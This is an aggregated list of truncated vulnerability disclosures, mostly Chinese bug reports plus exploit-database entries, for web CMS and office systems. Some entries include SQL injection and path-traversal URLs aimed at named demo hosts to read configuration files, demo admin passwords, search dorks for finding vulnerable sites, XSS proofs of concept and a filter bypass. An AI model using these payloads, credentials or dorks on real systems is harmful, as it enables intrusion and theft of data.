逐浪cms某处越权加注入(绕过防注入)

简要描述： RT 详细说明： 好看到多人都在挖啊，于是发现官网的demo站点也更新了哦。 果断捡捡便宜。 http://demo.zoomla.cn/Admin/i/Shop/OrderList.aspx?Province=&city= Province参数和city参数过滤不严，未加验证，导致直接可以注入啊。 漏洞证明： 漏洞验证： http://demo.zoomla.cn/Admin/i/Shop/OrderList.aspx?Province=1%27%20aNd%021=@@version%20aNd%02%271%27=%271&city=...

逐浪CMS任意文件下载（官方DEMO演示）

简要描述： 目前试了最新的逐浪CMS2 x2.0可以，然后官网的DEMO也可以 详细说明： Config/ConnectionStrings.config为数据库连接文件，当然，整站都可以下载，只要换下就得了 http://demo.zoomla.cn/user/iServer/FiServerInfo.aspx?menu=filedown&filepath=//Config//ConnectionStrings.config referrer: http://demo.zoomla.cn/user/iServer/FiServer.aspx 漏洞证明：...

天柏在线培训系统政府版用户注册存储xss

简要描述： 上海天柏信息科技有限公司的系统 天柏在线培训系统政府版用户注册存在存储xss 详细说明： http://www.timber2005.com/Customer.html 客户案例 在官网的给的政府版demo上测试的成功 用户注册地址：http://px3.timber2005.com/System/StuUserRegist.aspx 用户名之类的存在存储型xss漏洞 漏洞证明： 先去注册一个用户，用户名写入测试xss代码： 然后使用官网给的后台管理密码到后台的用户管理就会发现xss代码执行了...

J&W Communications SQL Injection

Title: J&W Communications Cms SQL Injection Vulnerability + Date: 2014-07-29 + Author: Hekt0r + Vendor Homepage: www.jw-com.com + Tested on: Windows7 & Kali Linux + Vulnerable Files: /rosters.php /team.php /scoresheet.php + Dork : intext:"designed by J&W Communications" inurl:/team.php.php?id=...

PHPB2B 最新版sql注射无限充值（官网demo成功）

简要描述： rt 详细说明： 看到注册用户处 ifisset$POST'register' $iscompany = false; $ifneedcheck = false; $registertype = trim$POST'register'; $registertypename = trim$POST'typename'; pbsubmitcheck'data'; $defaultmembergroupidres = $pdb-GetRow"SELECT FROM $tbprefixmembertypes WHERE name='".$registertypename."'";...

Debian DSA-2980-1 : openjdk-6 - security update

Several vulnerabilities have been discovered in OpenJDK, an implementation of the Oracle Java platform, resulting in the execution of arbitrary code, breakouts of the Java sandbox, information disclosure or denial of service. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive te...

php云人才系统多处Xss漏洞（绕过360防护）

简要描述： php云人才系统多处Xss漏洞（绕过360），可影响后台及其他用户。 360防护挂掉了，这该怎么办。。 详细说明： 虽然php云人才系统里加入360防注入脚本，对于一般的xss都可以过滤 但是我意外的发现了一种绕过方法，从而对多处产生xss影响 先说下绕过方法 肯定是过不了的，但是就可以了 至于这个%20加哪就随意了，总之就是不要使句子完整出现，这样可以绕过360，然后是数据提交后，会变回，从而绕过。 可以利用的xss地方很多 凡是有编辑器，源码模式下直接插入就行 以官网demo为例子，除了上述地方可以插入xss代码外，在http://www.hr135.com/friend...

泛微OA系统通用后台几处注入（官方demo验证）

简要描述： 注入直接危及到主库，多数是sa权限 详细说明： 管理员情况下的注入：http://www.e-cology.cn/systeminfo/sysadmin/sysadminEdit.jsp?id=1 普通用户注入:http://127.0.0.1//cowork/CoworkLogView.jsp?id=151 普通用户注入地址：http://127.0.0.1/system/basedata/basedatarole.jsp?roleid=32...

Design Foundry Cross Site Scripting / SQL Injection

Title: Foundry CMS Multiple Vulnerability + Date: 2014/07/20 + Author: Hekt0r + Vendor Homepage: www.design-foundry.co.uk + Tested on: Windows 7 & Kali Linux + Vulnerable Files: /page.php + Dork : intext:"Site by The Design Foundry" POC: + Sql Injection: http://site/page.php?id=SQL-Injection +...

Zoomla CMS 存在任意文件读取漏洞

简要描述： Zoomla CMS 存在任意文件读取漏洞 详细说明： 官网演示demo http://demo.zoomla.cn 后台地址http://demo.zoomla.cn/admin/login.aspx 演示账户:admin 密码：admin888 测试地址：http://demo.zoomla.cn/Admin/I/Template/TemplateEdit.aspx?setTemplate=%2fTemplate%2fV3&filepath=../../../config/AppSettings.config 其中修改installed参数为false以后 可以执行重装...

方维团购4.3版本注射 官方演示大量数据库泄露

简要描述： .......... 详细说明： ....... 漏洞证明： Target: http://t1.fanwe.net:93/t1/index.php?m=Ajax&a=gettypeattr&typeid=123 Host IP: 112.124.32.200 Web Server: IIS Powered-by: WAF/2.0 Powered-by: WAF/2.0 DB Server: MySQL Resp. Timeavg: 168 ms Current User: [email protected] Current DB: t1 Host Name:...

Facebook SDK vulnerability threatening millions of mobile phone users accounts-vulnerability warning-the black bar safety net

From MetaIntell the smartphone leadership risk management（MRM）security researchers, found a latest version of Facebook SDK vulnerability in the vulnerability exposes millions of Facebook user's authentication token, it still sounds very scary. ! Facebook for Android and IOS SDK provides the use o...

OctavoCMS Admin Panel Cross Site Scripting

Title : OctavoCMS Admin Panel Cross Site Scripting Vendor : http://octavocms.com/ Date : 2014.07.10 ================================ Proof of concept : First You should Login As Admin ... 1 : http://TARGET/admin/media/add.php?action="alert/XSS/ 2 :...

释锐教育区校版电子书包教学平台XSS漏洞

简要描述： 看到http://www.wooyun.org/bugs/wooyun-2010-051965过了，我也来了 存储型xss 详细说明： 利用官方demo测试 http://demo.31390.com:8080/eLearning/user.html 随意点击一个用户 在留言处写入xss语句 点击留言试试 直接就给弹了。。 看看源代码 毫无过滤 测试地址：http://demo.31390.com:8080/eLearning/message/s800.html 其实本身是html文件，给予xss很大空间 测试一下通用性...

phpmps通用SQL注入（demo测试成功）

简要描述： phpmps通用SQL注入（demo测试成功） 详细说明： 版本下载地址： http://www.phpmps.com/down/phpmpsv2.3build140305utf8.zip http://www.phpmps.com/demo/admin/login.php 使用admin/gxy123123登录成功： SQL注入EXP：...

OctavoCMS Cross Site Scripting

This proprietary content management software is vulnerable to reflected XSS on the file admin/viewer.php, src parameter. Current release on their demo site is vulnerable, same as other few sites I could find. PoC:...

SmilieScript <= 1.0 (Auth Bypass) SQL Injection Vulnerability

No description provided by source. ======================================================= +++++++++++++++++++ information +++++++++++++++++++++++ ======================================================= + Script :SmilieScript = 1.0 Auth Bypass SQL injection Valunrability + Script site :...

Free File Hosting System 1.1 register.php AD_BODY_TEMP Parameter Remote File Inclusion

No description provided by source. source: http://www.securityfocus.com/bid/23118/info Free File Hosting is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow an attacker to compromise the applicati...

joomla component huruhelpdesk SQL injection Vulnerability

No description provided by source. Exploit Title: joomla component huruhelpdesk SQL injection Vulnerability Date: 09 april 2010 Author: bumblebe Software Link: N/A Tested on: Windows XP 2 ====================================================================== x author : bumblebe [email protected] x...

Gravy Media Photo Host 1.0.8 - Local File Disclosure Vulnerability

No description provided by source. ================================================================== =========Gravy Media Photo Host 1.0.8 Local File Inclusion======== ================================================================== Vendor:http://www.gravy-media.com/ Download:register to...